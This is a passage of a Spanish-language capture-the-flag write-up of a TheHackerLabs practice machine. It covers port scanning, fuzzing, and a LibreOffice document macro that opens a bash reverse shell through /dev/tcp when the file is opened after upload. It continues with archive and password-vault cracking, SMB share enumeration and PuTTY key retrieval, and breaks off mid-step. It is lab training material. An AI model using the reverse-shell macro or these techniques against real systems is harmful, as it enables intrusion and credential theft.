El Candidato - TheHackerLabs
Después de analizar los escaneos, nos enfocamos en la página web, ya que el escaneo mostró el uso de un dominio que registramos en el /etc/hosts
. Descubrimos que es posible subir distintos archivos a una página web del dominio, permitiendo la subida de archivos DOT. Aprovechamos esto para crear un archivo malicioso DOT, que almacena una macro que ejecuta una Reverse Shell una vez que se carga a la página web, siendo esta la forma en que ganamos acceso principal. Dentro, encontramos un archivo comprimido 7z, que logramos crackear para obtener la contraseña de un usuario (primer usuario). Utilizamos esas credenciales para ganar acceso al login de Roundcube, encontrando las credenciales de otro usuario (segundo usuario), con lo que ganamos acceso vía SSH. Utilizamos las credenciales del nuevo usuario (segundo usuario) para enumerar el servicio Samba, siendo así que descubrimos una base de datos de Password Safe. Logramos crackear esta base de datos y encontramos la contraseña de otro usuario (tercer usuario), al que nos logueamos vía SSH. Volvemos a usar las credenciales del tercer usuario, para enumerar el servicio Samba, teniendo acceso a más archivos compartidos, logrando obtener un archivo PPK de PuTTY que convertimos en una llave privada id_rsa, pudiendo ganar acceso como otro usuario (cuarto usuario). Usamos las credenciales del tercer usuario para ganar acceso al login de Roundcube, descubriendo una imagen que contiene un archivo de texto oculto con la contraseña del cuarto usuario. Utilizamos esta contraseña para ver los privilegios del cuarto usuario, siendo que puede usar un script de Python3 como Root. Al no encontrar dicho script, lo suplantamos para que asigne permisos SUID a la Bash, logrando escalar privilegios para convertirnos en Root.
Herramientas utilizadas:
- ping
- nmap
- Wappalizer
- ffuf
- gobuster
- libreoffice
- nc
- cat
- grep
- which
- python3
- wget
- 7z
- 7z2john
- JohnTheRipper
- sudo
- crackmapexec
- smbmap
- ssh
- mv
- file
- pwsafe2john
- crunch
- puttygen
- strings
- head
- stegseek
- nano
- bash
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Explotación de Vulnerabilidades
- Post Explotación
- Crackeando Archivo 7z y Ganando Acceso al Login de Roundcube
- Ganando Acceso como Usuario sam y Enumeración del Servicio Samba
- Crackeando Base de Datos de Password Safe y Ganando Acceso Vía SSH como Usuario dean
- Enumeración de Archivos Compartidos del Usuario dean y Generando Llave Privada id_rsa con puttygen y Archivo PPK
- Aplicando Estegoanálisis en Imagen de Impala y Descubriendo Credenciales Ocultas del Usuario john
- Escalando Privilegios Abusando de Permisos Sudoers Sobre Binario python3 y Script backup.py
- Links de Investigación
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 192.168.100.150
PING 192.168.100.150 (192.168.100.150) 56(84) bytes of data.
64 bytes from 192.168.100.150: icmp_seq=1 ttl=64 time=13.1 ms
64 bytes from 192.168.100.150: icmp_seq=2 ttl=64 time=0.903 ms
64 bytes from 192.168.100.150: icmp_seq=3 ttl=64 time=0.870 ms
64 bytes from 192.168.100.150: icmp_seq=4 ttl=64 time=1.15 ms
--- 192.168.100.150 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3013ms
rtt min/avg/max/mdev = 0.870/4.007/13.106/5.254 ms
Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.100.150 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-01 20:42 CST
Initiating ARP Ping Scan at 20:42
Scanning 192.168.100.150 [1 port]
Completed ARP Ping Scan at 20:42, 0.09s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 20:42
Scanning 192.168.100.150 [65535 ports]
Discovered open port 110/tcp on 192.168.100.150
Discovered open port 22/tcp on 192.168.100.150
Discovered open port 995/tcp on 192.168.100.150
Discovered open port 445/tcp on 192.168.100.150
Discovered open port 80/tcp on 192.168.100.150
Discovered open port 139/tcp on 192.168.100.150
Discovered open port 143/tcp on 192.168.100.150
Discovered open port 25/tcp on 192.168.100.150
Discovered open port 993/tcp on 192.168.100.150
Completed SYN Stealth Scan at 20:42, 6.43s elapsed (65535 total ports)
Nmap scan report for 192.168.100.150
Host is up, received arp-response (0.0016s latency).
Scanned at 2025-10-01 20:42:49 CST for 7s
Not shown: 65526 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
25/tcp open smtp syn-ack ttl 64
80/tcp open http syn-ack ttl 64
110/tcp open pop3 syn-ack ttl 64
139/tcp open netbios-ssn syn-ack ttl 64
143/tcp open imap syn-ack ttl 64
445/tcp open microsoft-ds syn-ack ttl 64
993/tcp open imaps syn-ack ttl 64
995/tcp open pop3s syn-ack ttl 64
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.67 seconds
Raw packets sent: 65536 (2.884MB) | Rcvd: 65536 (2.621MB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Hay bastantes puertos abiertos, y me da curiosidad ver no solo el servicio Samba, sino ver el protocolo SMTP, pop3, imap, imaps y pop3s.
Esto me da a entender que se están ocupando mucho, los correos electrónicos.
Escaneo de Servicios
nmap -sCV -p 22,25,80,110,139,143,445,993,995 192.168.100.150 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-01 20:43 CST
Nmap scan report for 192.168.100.150
Host is up (0.0011s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 f5:83:ee:35:33:dc:c8:64:67:e5:1e:3d:37:ac:44:6e (ECDSA)
|_ 256 49:84:2d:38:2b:f1:39:92:bc:13:7c:17:2a:ae:e8:a1 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: gyhabogados.thl, PIPELINING, SIZE 10240000, ETRN, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Gonz\xC3\xA1lez, Herrera y C\xC3\xADa. Abogados
|_http-server-header: Apache/2.4.62 (Debian)
110/tcp open pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=LawHacked.lawhacked.thl
| Subject Alternative Name: DNS:LawHacked.lawhacked.thl
| Not valid before: 2024-12-05T16:19:15
|_Not valid after: 2034-12-03T16:19:15
|_pop3-capabilities: UIDL SASL(PLAIN LOGIN) STLS PIPELINING CAPA RESP-CODES TOP AUTH-RESP-CODE USER
139/tcp open netbios-ssn Samba smbd 4
143/tcp open imap Dovecot imapd
| ssl-cert: Subject: commonName=LawHacked.lawhacked.thl
| Subject Alternative Name: DNS:LawHacked.lawhacked.thl
| Not valid before: 2024-12-05T16:19:15
|_Not valid after: 2034-12-03T16:19:15
|_imap-capabilities: SASL-IR OK capabilities LITERAL+ post-login LOGIN-REFERRALS AUTH=PLAIN have more listed ENABLE IMAP4rev1 Pre-login AUTH=LOGINA0001 STARTTLS ID IDLE
|_ssl-date: TLS randomness does not represent time
445/tcp open netbios-ssn Samba smbd 4
993/tcp open ssl/imap Dovecot imapd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=LawHacked.lawhacked.thl
| Subject Alternative Name: DNS:LawHacked.lawhacked.thl
| Not valid before: 2024-12-05T16:19:15
|_Not valid after: 2034-12-03T16:19:15
|_imap-capabilities: SASL-IR OK capabilities more LITERAL+ AUTH=PLAIN have post-login listed ENABLE IMAP4rev1 LOGIN-REFERRALS AUTH=LOGINA0001 Pre-login ID IDLE
995/tcp open ssl/pop3 Dovecot pop3d
| ssl-cert: Subject: commonName=LawHacked.lawhacked.thl
| Subject Alternative Name: DNS:LawHacked.lawhacked.thl
| Not valid before: 2024-12-05T16:19:15
|_Not valid after: 2034-12-03T16:19:15
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: UIDL CAPA AUTH-RESP-CODE USER SASL(PLAIN LOGIN) TOP RESP-CODES PIPELINING
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb2-time:
| date: 2025-10-02T02:44:01
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: , NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_clock-skew: 2s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.22 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Observa que el protocolo SMTP nos está dando un dominio llamado gyhabogados.thl.
Vamos a registrarlo en el /etc/hosts
:
echo "192.168.100.150 gyhabogados.thl" >> /etc/hosts
Ahora, el servicio Samba parece necesitar credenciales válidas para poder ver los archivos compartidos, por lo que, de momento, no es una opción para empezar.
Entonces, empecemos por la página web, visitando el dominio.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos:
Parece ser una página de abogados.
Veamos qué nos dice Wappalizer:
Hay algunas tecnologías, pero no veo algo que nos ayude.
Bajando un poco y aplicando Hoovering, veremos una página que solamente muestra la historia del bufet de abogados:
De igual forma, podemos ver esa página y otra en el menú que aparece en la esquina superior derecha:
Y lo más interesante, es la página TRABAJA CON NOSOTROS porque al bajar, la página nos permite subir 3 tipos de archivos, siendo PDF, DOC y ODT:
Quizá podamos explotar esta subida de archivos para subir una Reverse Shell, pero primero apliquemos Fuzzing por si hay algo oculto por ahí.
Fuzzing
Primero, usaremos la herramienta ffuf:
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://gyhabogados.thl/FUZZ -t 300 -e .php,.txt,.html
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://gyhabogados.thl/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Extensions : .php .txt .html
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 300
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
index.php [Status: 200, Size: 7760, Words: 653, Lines: 166, Duration: 163ms]
images [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 124ms]
uploads [Status: 301, Size: 320, Words: 20, Lines: 10, Duration: 7ms]
README.txt [Status: 200, Size: 1344, Words: 173, Lines: 45, Duration: 5ms]
config [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 11ms]
views [Status: 301, Size: 318, Words: 20, Lines: 10, Duration: 59ms]
LICENSE.txt [Status: 200, Size: 17128, Words: 2798, Lines: 64, Duration: 39ms]
assets [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 9971ms]
.html [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 53ms]
[Status: 200, Size: 7760, Words: 653, Lines: 166, Duration: 58ms]
.php [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 59ms]
roundcube [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 36ms]
server-status [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 50ms]
:: Progress: [882180/882180] :: Job [1/1] :: 274 req/sec :: Duration: [0:05:19] :: Errors: 0 ::
Parámetros | Descripción |
---|---|
-w | Para indicar el diccionario a usar en el fuzzing. |
-u | Para indicar la URL a utilizar. |
-t | Para indicar la cantidad de hilos a usar. |
-e | Para indicar una busqueda de archivos específicos. |
Ahora probemos con gobuster:
gobuster dir -u http://gyhabogados.thl -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 300 -x php,txt,html
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://gyhabogados.thl
[+] Method: GET
[+] Threads: 300
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 319] [--> http://gyhabogados.thl/images/]
/uploads (Status: 301) [Size: 320] [--> http://gyhabogados.thl/uploads/]
/assets (Status: 301) [Size: 319] [--> http://gyhabogados.thl/assets/]
/index.php (Status: 200) [Size: 7760]
/README.txt (Status: 200) [Size: 1344]
/config (Status: 301) [Size: 319] [--> http://gyhabogados.thl/config/]
/views (Status: 301) [Size: 318] [--> http://gyhabogados.thl/views/]
/LICENSE.txt (Status: 200) [Size: 17128]
/roundcube (Status: 301) [Size: 322] [--> http://gyhabogados.thl/roundcube/]
/server-status (Status: 403) [Size: 280]
Progress: 882176 / 882176 (100.00%)
===============================================================
Finished
===============================================================
Parámetros | Descripción |
---|---|
-u | Para indicar la URL a utilizar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-t | Para indicar la cantidad de hilos a usar. |
-x | Para indicar una busqueda de archivos específicos. |
Hay varios directorios, uno que llama la atención es el de /uploads
, pues supongamos que es ahí donde se suben los archivos:
Pero observa que no tenemos permisos para ver su contenido.
Otro directorio interesante es el /roundcubes
, que al visitarlo nos manda a un login:
Para ganar acceso a este login, necesitaremos un usuario y contraseña válidos.
Investiguemos qué es eso de Roundcubes:
Roundcube |
---|
Roundcube es un cliente de correo web (webmail) escrito en PHP, que se instala en un servidor y permite a los usuarios acceder a su correo electrónico desde un navegador. Cuenta con soporte para protocolos estándar como SMTP e IMAP, una interfaz tipo webmail similar a Gmail, Outlook Web Access o Horde, etc. |
Busquemos una forma de abusar de la subida de archivos, para poder cargar una Reverse Shell.
Explotación de Vulnerabilidades
Abusando de la Carga de Archivos para Cargar Reverse Shell dentro de Archivo DOT Malicioso y Ganando Acceso a la Máquina Víctima
De acuerdo con los archivos que podemos subir, la mejor opción son los archivos tipo ODT:
Archivo ODT |
---|
Un ODT es un tipo de archivo de texto creado con la extensión .odt, que corresponde a OpenDocument Text. es el equivalente “abierto” a un archivo de Word (.doc o .docx), pero usado principalmente por LibreOffice Writer, Apache OpenOffice Writer y otros programas compatibles con el estándar OpenDocument Format (ODF). |
Esta clase de archivos sirve en Windows y Linux, por lo que es una buena opción porque estamos contra una máquina Linux.
Podemos seguir las instrucciones del siguiente blog para crear un archivo ODT malicioso, que contendrá una Reverse Shell:
La idea del blog, es agregar una Macro al archivo ODT que ejecute una Reverse Shell cuando sea enviada y recibida por la página web.
Vamos a hacerlo por pasos:
- Crea un archivo random con libreoffice y guárdalo en tu directorio de trabajo:
- Para crear una macro, sigue las secciones
Tools > Macros > Organize Macros > Basic...
:
- Selecciona tu archivo ODT, dale clic al botón New para crear una nueva Macro y dale un nombre a la Macro, por ejemplo, RevShell. Cuando le des al botón OK, nos saldrá una nueva ventana que ya nos permite agregar código:
- En esa nueva ventana, agrega el siguiente código y luego guarda con CTRL + S o desde el botón Guardar en la esquina superior izquierda:
shell("bash -c 'bash -i >& /dev/tcp/Tu_IP/443 0>&1'")
- Después de guardar, ve a la página principal de tu archivo y ve a la sección
Tools > Customize
:
- En la nueva ventana, ve a la sección Events, selecciona el evento Open Document, revisa que esté seleccionada tu Macro y dale al botón Macro:
- En la nueva ventana, despliega los elementos de tu archivo, luego selecciona tu Macro y dale a OK, después vuelve a darle OK y nuestro archivo ya estará listo:
- Abre un listener con netcat:
nc -nvlp 443 listening on [any] 443 ...
- Sube el archivo a la página web:
- Observa la netcat:
nc -nvlp 443 listening on [any] 443 ... connect to [Tu_IP] from (UNKNOWN) [192.168.100.150] 48714 bash: cannot set terminal process group (3964): Inappropriate ioctl for device bash: no job control in this shell bash: /home/bob/.bashrc: Permission denied bob@TheHackersLabs-Gyhabogados:~$ whoami whoami bob
Estamos dentro.
Solo falta obtener una sesión interactiva:
# Paso 1:
script /dev/null -c bash
# Paso 2:
CTRL + Z
# Paso 3:
stty raw -echo; fg
# Paso 4:
reset -> xterm
# Paso 5:
export TERM=xterm && export SHELL=bash && stty rows 51 columns 189
Post Explotación
Crackeando Archivo 7z y Ganando Acceso al Login de Roundcube
Antes que nada, veamos qué usuarios existen en la máquina víctima:
bob@TheHackersLabs-Gyhabogados:~$ cat /etc/passwd | grep 'bash'
root:x:0:0:root:/root:/bin/bash
bob:x:1000:1000:bob,,,:/home/bob:/bin/bash
sam:x:1001:1001::/home/sam:/bin/bash
dean:x:1002:1002:Dean,,,:/home/dean:/bin/bash
john:x:1003:1003:John,,,:/home/john:/bin/bash
Tenemos 4 usuarios aparte del Root.
Podemos ver sus directorios en el directorio /home
, de los cuales no tendremos permisos:
bob@TheHackersLabs-Gyhabogados:~$ ls -la /home
total 24
drwxr-xr-x 6 root root 4096 Dec 7 2024 .
drwxr-xr-x 20 root root 4096 Dec 6 2024 ..
drwx------ 19 bob bob 4096 Dec 8 2024 bob
drwx------ 8 dean abogados 4096 Dec 8 2024 dean
drwx------ 8 john john 4096 Dec 8 2024 john
drwx------ 6 sam abogados 4096 Dec 8 2024 sam
Revisando los archivos del usuario bob, encontraremos un archivo comprimido en 7z:
bob@TheHackersLabs-Gyhabogados:~$ ls
credentials.7z Desktop Documents Downloads mail Maildir Music Pictures Public scripts Templates Videos
Vamos a mandarlo a nuestra máquina.
Inicia un servidor con python3 en la máquina víctima:
bob@TheHackersLabs-Gyhabogados:~$ which python3
/usr/bin/python3
bob@TheHackersLabs-Gyhabogados:~$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Descarga el archivo comprimido con wget:
wget http://192.168.100.150:8000/credentials.7z
Vamos a descomprimirlo:
7z x credentials.7z
7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
64-bit locale=es_MX.UTF-8 Threads:6 OPEN_MAX:1024, ASM
Scanning the drive for archives:
1 file, 186 bytes (1 KiB)
Extracting archive: credentials.7z
--
Path = credentials.7z
Type = 7z
Physical Size = 186
Headers Size = 154
Method = LZMA2:12 7zAES
Solid = -
Blocks = 1
Enter password (will not be echoed):
Necesita una contraseña, por lo que tendremos que crackearlo.
Obtengamos el hash del archivo comprimido con la herramienta 7z2john:
7z2john credentials.7z > hash
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes
Y lo crackeamos con JohnTheRipper:
john -w:/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip archive encryption [SHA256 128/128 SSE2 4x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 6 for all loaded hashes
Cost 3 (compression type) is 2 for all loaded hashes
Cost 4 (data length) is 26 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
barcelona (credentials.7z)
1g 0:00:00:04 DONE (2025-10-02 00:01) 0.2369g/s 68.24p/s 68.24c/s 68.24C/s jackie..brenda
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Tenemos la contraseña.
Ahora sí, lo descomprimimos y nos da un archivo de texto.
Leámoslo:
cat credentials.txt
bob:***********
Tenemos la contraseña del usuario bob.
Podríamos usar la contraseña para obtener una sesión vía SSH, pero podemos seguir usando la sesión actual.
Además, podemos ver qué privilegios tiene nuestro usuario:
bob@TheHackersLabs-Gyhabogados:~$ sudo -l
[sudo] password for bob:
Sorry, user bob may not run sudo on TheHackersLabs-Gyhabogados.
No tiene ninguno.
La contraseña tampoco servirá para listar algún archivo compartido del servicio Samba:
crackmapexec smb 192.168.100.150 -u 'bob' -p '**********'
SMB 192.168.100.150 445 THEHACKERSLABS-GYHABOGADOS [*] Windows 6.1 Build 0 (name:THEHACKERSLABS-GYHABOGADOS) (domain:THEHACKERSLABS-GYHABOGADOS) (signing:False) (SMBv1:False)
SMB 192.168.100.150 445 THEHACKERSLABS-GYHABOGADOS [-] THEHACKERSLABS-GYHABOGADOS\bob:********** STATUS_LOGON_FAILURE
Pero si usamos el usuario y contraseña en el login de Roundcube, ganaremos acceso:
Ganando Acceso como Usuario sam y Enumeración del Servicio Samba
Revisando la sesión de bob en Roundcube, encontraremos que se le envió un mensaje al usuario sam:
Tenemos la contraseña del usuario sam.
Puede que la haya cambiado, pero mejor lo comprobamos:
No la cambio.
Si la probamos en el servicio SSH, también tendremos acceso:
ssh sam@192.168.100.150
sam@192.168.100.150's password:
Linux TheHackersLabs-Gyhabogados 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64
...
Last login: Sun Dec 8 18:26:08 2024
sam@TheHackersLabs-Gyhabogados:~$ whoami
sam
El problema es que no encontramos nada que nos ayude por aquí.
Pero si probamos la contraseña del usuario sam en el servicio Samba, ya podremos listar los archivos compartidos:
crackmapexec smb 192.168.100.150 -u 'sam' -p '**********'
SMB 192.168.100.150 445 THEHACKERSLABS-GYHABOGADOS [*] Windows 6.1 Build 0 (name:THEHACKERSLABS-GYHABOGADOS) (domain:THEHACKERSLABS-GYHABOGADOS) (signing:False) (SMBv1:False)
SMB 192.168.100.150 445 THEHACKERSLABS-GYHABOGADOS [+] THEHACKERSLABS-GYHABOGADOS\sam:**********
Listemos los archivos compartidos con smbmap:
smbmap -H 192.168.100.150 -u 'sam' -p '**********' --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 192.168.100.150:445 Name: gyhabogados.thl Status: NULL Session
Disk Permissions Comment
---- ----------- -------
print$ READ ONLY Printer Drivers
CONFIDENCIALES READ ONLY Documentos Confidenciales de Clientes
IT_TOOLS NO ACCESS IT Tools
RESPALDOS_IT READ ONLY Respaldos IT
IPC$ NO ACCESS IPC Service (Samba 4.17.12-Debian)
sam READ ONLY Home Directories
[*] Closed 1 connections
Podemos leer 2 directorios llamados CONDIFENCIALES y RESPALDOS_IT.
El directorio CONDIFENCIALES contiene archivos PDF que no tienen algo que nos ayude.
Veamos el contenido del directorio RESPALDOS_IT:
smbmap -H 192.168.100.150 -u 'sam' -p '**********' -r RESPALDOS_IT --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 192.168.100.150:445 Name: gyhabogados.thl Status: NULL Session
Disk Permissions Comment
---- ----------- -------
print$ READ ONLY Printer Drivers
CONFIDENCIALES READ ONLY Documentos Confidenciales de Clientes
IT_TOOLS NO ACCESS IT Tools
RESPALDOS_IT READ ONLY Respaldos IT
./RESPALDOS_IT
dr--r--r-- 0 Sun Dec 8 11:56:48 2024 .
dr--r--r-- 0 Sun Dec 8 11:55:59 2024 ..
fr--r--r-- 520 Sun Dec 8 11:49:32 2024 credenciales.psafe3
fr--r--r-- 582 Sat Dec 7 19:41:58 2024 IMPORTANTE.txt
IPC$ NO ACCESS IPC Service (Samba 4.17.12-Debian)
sam READ ONLY Home Directories
[*] Closed 1 connections
Hay dos archivos.
Descarguémoslos:
smbmap -H 192.168.100.150 -u 'sam' -p '**********' --download RESPALDOS_IT/credenciales.psafe3 --no-banner
smbmap -H 192.168.100.150 -u 'sam' -p '**********' --download RESPALDOS_IT/IMPORTANTE.txt --no-banner
mv 192.168.100.150-RESPALDOS_IT_credenciales.psafe3 credenciales.psafe3
mv 192.168.100.150-RESPALDOS_IT_IMPORTANTE.txt IMPORTANTE.txt
Vamos a analizarlos.
Crackeando Base de Datos de Password Safe y Ganando Acceso Vía SSH como Usuario dean
Primero leamos ese archivo de texto:
cat IMPORTANTE.txt
Dean,
He notado que estás reutilizando tus credenciales con frecuencia, lo que puede comprometer la seguridad de la empresa.
Para facilitarte la gestión de contraseñas y mejorar la seguridad, he decidido crear una bóveda de contraseñas para ti, utilizando un gestor de contraseñas.
Con esta herramienta, solo necesitarás recordar una contraseña maestra para acceder a todas tus credenciales de manera segura.
La contraseña maestra es similar a la que te proporcioné en la bienvenida: "ChevyImpala1967". Sin embargo, en lugar de "1967", deberás usar un año diferente.
Ya nos dieron una pista, la cual puede ser la contraseña del usuario dean.
Revisando el otro archivo, resulta ser una base de datos de Password Safe:
file credenciales.psafe3
credenciales.psafe3: Password Safe V3 database
Si queremos abrir esa base de datos, necesitaremos una contraseña válida que, suponemos, es la que menciona el archivo de texto.
Obtengamos el hash de este archivo con la herramienta pwsafe2john:
pwsafe2john credenciales.psafe3 > psafe3Hash
Vamos a crear un wordlist que tenga distintos números que sirvan como años dentro de la contraseña, usando la herramienta crunch:
crunch 15 15 0123456789 -t ChevyImpala@@@@ -o passWordlist.txt
Crunch will now generate the following amount of data: 160000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 10000
crunch: 100% completed generating output
Ahora usemos JohnTheRipper para crackear la base de datos de Password Safe:
john -w:passWordlist.txt psafe3Hash
Using default input encoding: UTF-8
Loaded 1 password hash (pwsafe, Password Safe [SHA256 128/128 SSE2 4x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
ChevyImpala1995 (credencial)
1g 0:00:00:00 DONE (2025-10-02 21:48) 5.000g/s 15360p/s 15360c/s 15360C/s ChevyImpala0000..ChevyImpala3071
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Tenemos la contraseña.
Inicia Password Safe con el comando pwsafe (eso si lo tienes instalado) y dale la contraseña. Una vez dentro, da clic derecho sobre la credencial guardada y para verla, dale clic al símbolo del ojo para poder verla en texto claro:
Tenemos la contraseña del usuario dean.
Probémosla:
ssh dean@192.168.100.150
dean@192.168.100.150's password:
Linux TheHackersLabs-Gyhabogados 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64
...
Last login: Sun Dec 8 19:12:27 2024
dean@TheHackersLabs-Gyhabogados:~$ whoami
dean
Aquí encontraremos la flag del usuario:
dean@TheHackersLabs-Gyhabogados:~$ ls
Maildir user.txt
dean@TheHackersLabs-Gyhabogados:~$ cat user.txt
...
Enumeración de Archivos Compartidos del Usuario dean y Generando Llave Privada id_rsa con puttygen y Archivo PPK
Revisando los archivos del usuario dean, no encontraremos mucho.
Puede que la contraseña de este usuario nos sirva para ver más archivos compartidos:
crackmapexec smb 192.168.100.150 -u 'dean' -p '**********'
SMB 192.168.100.150 445 THEHACKERSLABS-GYHABOGADOS [*] Windows 6.1 Build 0 (name:THEHACKERSLABS-GYHABOGADOS) (domain:THEHACKERSLABS-GYHABOGADOS) (signing:False) (SMBv1:False)
SMB 192.168.100.150 445 THEHACKERSLABS-GYHABOGADOS [+] THEHACKERSLABS-GYHABOGADOS\dean:**********
Sí funcionan.
Veamos si podemos ver otro directorio:
smbmap -H 192.168.100.150 -u 'dean' -p '**********' --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 192.168.100.150:445 Name: gyhabogados.thl Status: NULL Session
Disk Permissions Comment
---- ----------- -------
print$ READ ONLY Printer Drivers
CONFIDENCIALES READ ONLY Documentos Confidenciales de Clientes
IT_TOOLS READ ONLY IT Tools
RESPALDOS_IT READ ONLY Respaldos IT
IPC$ NO ACCESS IPC Service (Samba 4.17.12-Debian)
dean READ ONLY Home Directories
[*] Closed 1 connections
Ya podemos ver el contenido del directorio RESPALDOS_IT.
Veamos qué hay dentro:
smbmap -H 192.168.100.150 -u 'dean' -p '**********' -r IT_TOOLS --no-banner
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 192.168.100.150:445 Name: gyhabogados.thl Status: NULL Session
Disk Permissions Comment
---- ----------- -------
print$ READ ONLY Printer Drivers
CONFIDENCIALES READ ONLY Documentos Confidenciales de Clientes
IT_TOOLS READ ONLY IT Tools
./IT_TOOLS
dr--r--r-- 0 Sun Dec 8 11:12:50 2024 .
dr--r--r-- 0 Sun Dec 8 11:55:59 2024 ..
fr--r--r-- 1458 Sat Dec 7 18:20:46 2024 private_key.ppk
RESPALDOS_IT READ ONLY Respaldos IT
IPC$ NO ACCESS IPC Service (Samba 4.17.12-Debian)
dean READ ONLY Home Directories
Solo hay una llave privada.
Descarguémosla:
smbmap -H 192.168.100.150 -u 'dean' -p 'MasterOfPuppets1986' --download IT_TOOLS/private_key.ppk --no-banner
mv 192.168.100.150-IT_TOOLS_private_key.ppk private_key.ppk
Si analizamos el archivo, resulta ser una llave privada de PuTTY:
file private_key.ppk
private_key.ppk: PuTTY Private Key File, version 3, algorithm ssh-rsa
Podemos obtener un poco más de información usando la herramienta puttygen, por ejemplo, la huella digital:
puttygen private_key.ppk -l
